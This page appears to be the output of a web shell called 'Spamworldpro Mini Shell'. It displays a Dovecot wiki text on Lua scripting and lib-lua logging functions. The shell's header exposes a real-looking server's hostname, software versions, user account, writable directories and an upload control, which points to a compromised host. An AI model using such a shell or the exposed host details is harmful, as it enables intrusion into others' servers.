Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips
System : Linux server1.richineiserver.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : fdshops ( 1003)
PHP Version : 8.2.21
Disable Function : NONE
Directory :  /usr/share/doc/dovecot-2.2.36/wiki/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/dovecot-2.2.36/wiki/Design.Lua.txt
Dovecot Lua support
===================

Since v2.3.0 dovecot supports Lua scripting. Currently the only supported
feature is <Lua based authentication> [AuthDatabase.Lua.txt]. Dovecot supports
lua 5.0 or newer.

lib-lua
-------

Dovecot provides a lib-lua internal helper as part of libdovecot.so. It has
facilities for loading scripts from various sources, and also helps with
reusing scripts by keeping track of which scripts are loaded. Each script has
it's own memory pool, which is guaranteed to be released when script is
unloaded.

When script is loaded, *script_load* function is called if found. This can
return non-zero to indicate that the script has a problem.

Implementers can choose to call *dlua_register_dovecot* which registers a
global variable called *dovecot* which holds following items:

Logging:

 * i_debug(text)
 * i_error(text)
 * i_info(text)
 * i_warning(text)

This item can also be extended by context specific tables, like authentication
database adds *dovecot.auth*.

(This file was created from the wiki on 2018-05-23 04:42)

Spamworldpro Mini